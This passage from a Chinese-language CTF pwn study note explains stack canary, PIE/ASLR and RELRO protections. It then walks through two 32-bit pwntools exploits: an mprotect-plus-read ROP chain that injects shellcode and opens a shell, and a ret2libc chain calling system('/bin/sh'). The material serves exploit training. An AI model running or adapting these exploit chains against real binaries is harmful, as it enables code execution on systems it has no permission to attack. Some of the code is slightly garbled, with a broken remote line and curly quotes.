    2)劫持sym.imp.__stack_chk_fail函数:若果可以劫持sym.imp.__stack_chk_fail函数,使得程序调用它时调用别的函数,就可以随意覆写Canary的值,而不会触发错误,实现Canary的绕过。
    具体绕过及例题演示参考 Canary原理及绕过

PIE/ALSR保护:

  • Position-Independent Executable
  • 基本原理: 应用了PIE的程序在每次加载时都会变换加载基址,从而使位于程序本身的gadget也失效
  • 通俗解释:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化。而如果没有开PIE的话那么No PIE(0x400000),括号内的数据就是程序的基地址.
  • 防止攻击手段:构造ROP链攻击如:ret2libc
  • 添加编译选项 -no-pie 会关闭程序的PIE保护
  • 绕过方式:通过泄露libc基址的方法获取libc版本加便宜量来获取基地址。

RELRO保护:

  • 基本原理: 重定位,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击

  • 防止攻击者的攻击手段:系统调用,防止got表的调用;

  • 三种保护模式:
    1,No RELRO
    2,Partial RELRO(两者区别在于got.plt位于那一段是可读可写的,)

    3,Full RELRO
    .got 与.got.plt都只读不写,对got表的一种防护手段;

mprotect()函数

https://blog.csdn.net/elg5127/article/details/124221422
这个是csdn上的讲解

BUU-PWN题(1-40) (yuque.com)
这个是语雀上的讲解

PWN疑难(1-3)-关于payload中栈的布置以及system的一些困惑 (yuque.com)
对于栈传参一篇写的贼好的文章;

疑问点解释:
1,mprootect()函数修改的是那段内存空间?
首先,mprotect()函数将一段具有可读写无执行权限的内存空间更改权限可执行,
![[Pasted image 20221108161747.png]]
之后直接把恶意数据直接篡改到这里面即可,
调用数据的话直接调用这里的地址即可。

2,pop3函数参数在栈上是如何实现的?
首先给到exp看下内容:
from pwn import *
elf = ELF(‘./pwn’)
sh = process(‘./pwn’)
= remote(‘node3.buuoj.cn’,27234)
pop3_ret = 0x0809e4c5
mem_addr = 0x080ea000
#可读可写的内存,但不可执行
mem_size = 0x3000
#通过调试出来的值
mem_proc = 0x7
#可代表可读可写可执行
mprotect_addr = elf.symbols[‘mprotect’]
read_addr = elf.symbols[‘read’]
payload_01 = ‘A’ * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) 这里的寄存器并非是用来传递参数,而是作为返回地址来使得esp向下走12,正好可以执行read函数。
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)

#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令 又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取已知内存的地址内容大小
payload_01 += p32(mem_addr)

#这里就是shellcode了
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = ‘i386’, os = ‘linux’)
sh.sendline(payload_sh)
#这就是read读入的内容
sh.interactive()

这里重点看这部分:
32位多参函数传参问题:(仍然运用寄存器传参方法)
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret)
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取大小
payload_01 += p32(mem_addr)
#这里就是shellcode了

解释:
1,栈溢出到eip,将mprotect函数地址传入eip中,为main函数返回地址;
2,后面跟着pop3_addr作为mprotect函数返回地址,在mprotect函数执行完之后进行返回;
3,后面跟着三个mprotect函数的参数,进行修改;
4,(过程:)在输入完三个参数之后,将pop3作为返回地址,把参数跳过,也就是弄走;(32位程序利用栈进行传参)函数之中完成mpro()函数的调用。
利用pop3_addr最后的ret指令,将sp指针上移,
从而使得ip往上走,(1,函数调用。2,跳过参数)
这里插入下汇编ret指令:![[default 1.jfif]]
具体含义是将sp向栈的上上方移并将上面的一个地址读入栈中,
5,下面的read函数由于ret指令则被调用,
6,最后跟着shell的写入地址,进行shell的调用;

(补充下与ret2libc2的区别:)
其exp:
from pwn import *

sh = process(‘./ret2libc2’)

system_addr=0x8048490

gets_addr=0x8048460

pop_addr = 0x0804872f

buf2_addr = 0x804a080

payload = flat([112*A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])

sh.sendline(payload)

sh.sendline(‘/bin/sh’)

sh.interactive()
其运用的是先构造好rop链,最后往里面写参数:
调用gets函数,将参数跳过,后面写sys的地址,地址,参数(所在地址)
之后写入/bin/sh即可。
最后写的地址是参数写入的地址,

这道题是shellcode执行地址;